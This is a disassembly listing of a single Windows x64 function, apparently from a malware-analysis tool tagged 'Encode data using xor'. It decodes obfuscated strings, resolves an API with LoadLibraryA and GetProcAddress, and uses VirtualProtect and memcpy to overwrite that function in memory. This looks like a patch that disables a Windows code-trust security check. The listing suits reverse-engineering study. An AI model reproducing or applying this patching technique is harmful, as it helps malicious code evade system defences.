Function at 0x2b3655c70
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf8
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0xd0], 0x796d7580
mov byte [rsp + 0xd4], 0
movzx eax, byte [rsp + 0xd0]
mov qword [rsp + 0x40], 0
sub eax, 9
mov qword [rsp + 0x38], 0
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0xd1]
mov qword [rsp + 0x30], 0
sub eax, 9
mov qword [rsp + 0x28], 0
mov byte [rsp + 0xd1], al
movzx eax, byte [rsp + 0xd2]
mov qword [rsp + 0x20], 0
sub eax, 9
mov byte [rsp + 0xac], 0
mov byte [rsp + 0xd2], al
movzx eax, byte [rsp + 0xd3]
mov dword [rsp + 0xa8], 0x796d7580
sub eax, 9
mov byte [rsp + 0xd3], al
lea rax, [rsp + 0xd0]
mov rdx, rax
mov qword [rsp + 0x98], rax
call fcn.2b3651880
mov rdx, rax
test rax, rax
je 0x2b3656190
mov dword [rsp + 0xd0], 0x78
mov eax, dword [rsp + 0xd0]
mov r15d, dword [rsp + 0xd0]
mov r14d, dword [rsp + 0xd0]
mov byte [rsp + 0xc9], 0
mov r11d, dword [rsp + 0xd0]
mov dword [rsp + 0x94], eax
mov ebx, dword [rsp + 0xd0]
add r14d, 2
add r15d, 1
mov esi, dword [rsp + 0xd0]
mov edi, dword [rsp + 0xd0]
add r11d, 3
movzx r14d, r14b
movzx r15d, r15b
mov eax, dword [rsp + 0xd0]
add esi, 5
add ebx, 4
movzx r11d, r11b
mov ecx, dword [rsp + 0xd0]
add edi, 6
movzx esi, sil
movzx ebx, bl
mov r13d, dword [rsp + 0xd0]
add eax, 7
movzx edi, dil
mov r12d, dword [rsp + 0xd0]
mov dword [rsp + 0x90], ecx
mov ecx, dword [rsp + 0xd0]
movzx eax, al
mov r10d, dword [rsp + 0xd0]
shl rax, 8
add r13d, 9
add r12d, 0xa
or rax, rdi
add ecx, 0xb
movzx r12d, r12b
movzx r13d, r13b
mov r9d, dword [rsp + 0xd0]
mov dword [rsp + 0x50], r10d
shl rax, 8
movzx ecx, cl
mov r10d, dword [rsp + 0xd0]
mov ebp, dword [rsp + 0xd0]
or rax, rsi
mov r8d, dword [rsp + 0xd0]
shl rax, 8
add r9d, 0xd
or rax, rbx
add ebp, 0xf
add r10d, 0xe
movzx r9d, r9b
mov dword [rsp + 0x8c], r8d
shl rax, 8
movzx ebp, bpl
movzx r10d, r10b
mov r8d, dword [rsp + 0xd0]
or rax, r11
shl rbp, 8
shl rax, 8
or rbp, r10
mov dword [rsp + 0x88], r8d
or rax, r14
shl rbp, 8
mov r8d, dword [rsp + 0xd0]
shl rax, 8
or rbp, r9
mov dword [rsp + 0x84], r8d
mov r8d, dword [rsp + 0xd0]
or rax, r15
shl rax, 8
mov dword [rsp + 0x80], r8d
mov r8d, dword [rsp + 0xd0]
mov dword [rsp + 0x7c], r8d
mov r8d, dword [rsp + 0xd0]
mov dword [rsp + 0x78], r8d
mov r8d, dword [rsp + 0xd0]
movzx r11d, byte [rsp + 0x94]
movq xmm2, qword [0x2b3757100]
mov dword [rsp + 0x74], r8d
mov r8d, dword [rsp + 0xd0]
mov dword [rsp + 0x70], r8d
mov r8d, dword [rsp + 0xd0]
mov dword [rsp + 0x6c], r8d
movzx r8d, byte [rsp + 0x90]
add r8d, 8
mov byte [rsp + 0x90], r8b
movzx r8d, byte [rsp + 0x50]
add r8d, 0xc
shl rbp, 8
or rax, r11
movzx r8d, r8b
mov qword [rsp + 0x50], rax
movzx eax, byte [rsp + 0x70]
or rbp, r8
shl rbp, 8
shl rax, 8
or rbp, rcx
movzx ecx, byte [rsp + 0x90]
shl rbp, 8
or rbp, r12
shl rbp, 8
or rbp, r13
shl rbp, 8
or rbp, rcx
movzx ecx, byte [rsp + 0x74]
mov qword [rsp + 0x58], rbp
movdqa xmm0, xmmword [rsp + 0x50]
or rax, rcx
movzx ecx, byte [rsp + 0x78]
pxor xmm0, xmmword [0x2b37570f0]
shl rax, 8
or rax, rcx
movzx ecx, byte [rsp + 0x7c]
movdqa xmm1, xmm0
movaps xmmword [rsp + 0xb0], xmm0
shl rax, 8
movups xmmword [rsp + 0xd4], xmm1
movq xmm0, qword [str.CodeTrus]
or rax, rcx
movzx ecx, byte [rsp + 0x80]
shl rax, 8
or rax, rcx
movzx ecx, byte [rsp + 0x84]
shl rax, 8
or rax, rcx
movzx ecx, byte [rsp + 0x88]
shl rax, 8
or rax, rcx
movzx ecx, byte [rsp + 0x8c]
shl rax, 8
or rax, rcx
movq xmm3, rax
movzx eax, byte [rsp + 0x6c]
paddb xmm2, xmm3
add eax, 0x18
xor eax, 0x74
pxor xmm2, xmm0
mov byte [rsp + 0xc8], al
movq qword [rsp + 0xc0], xmm2
movq qword [rsp + 0xe4], xmm2
movzx eax, word [rsp + 0xc8]
mov word [rsp + 0xec], ax
xor eax, eax
nop word [rax + rax]
movzx r8d, byte [rsp + rax + 0xd4]
mov ecx, dword [rsp + 0xd0]
add ecx, eax
xor ecx, r8d
mov byte [rsp + rax + 0xd4], cl
add rax, 1
cmp rax, 0x19
jne 0x2b3656050
mov qword [rsp + 0x40], 0
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea r8, [rsp + 0xd4]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov byte [rsp + 0xed], 0
call fcn.2b3651880
mov r12, rax
test rax, rax
je 0x2b3656190
mov r13, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x40
mov rdx, r12
lea rax, [rsp + 0xa4]
lea r14, [0x2b3655400]
lea rbx, [0x2b3655410]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
sub ebx, r14d
mov rcx, r13
mov qword [rsp + 0x30], 0
mov r8, rbx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
call fcn.2b3651880
test rax, rax
je 0x2b3656190
mov r8, rbx
mov rdx, r14
mov rcx, r12
call sub.msvcrt.dll_memcpy
mov r8, rbx
mov rdx, r12
mov rcx, r13
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov r9d, dword [rsp + 0xa4]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
call fcn.2b3651880
mov eax, 1
jmp 0x2b3656192
xor eax, eax
add rsp, 0xf8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret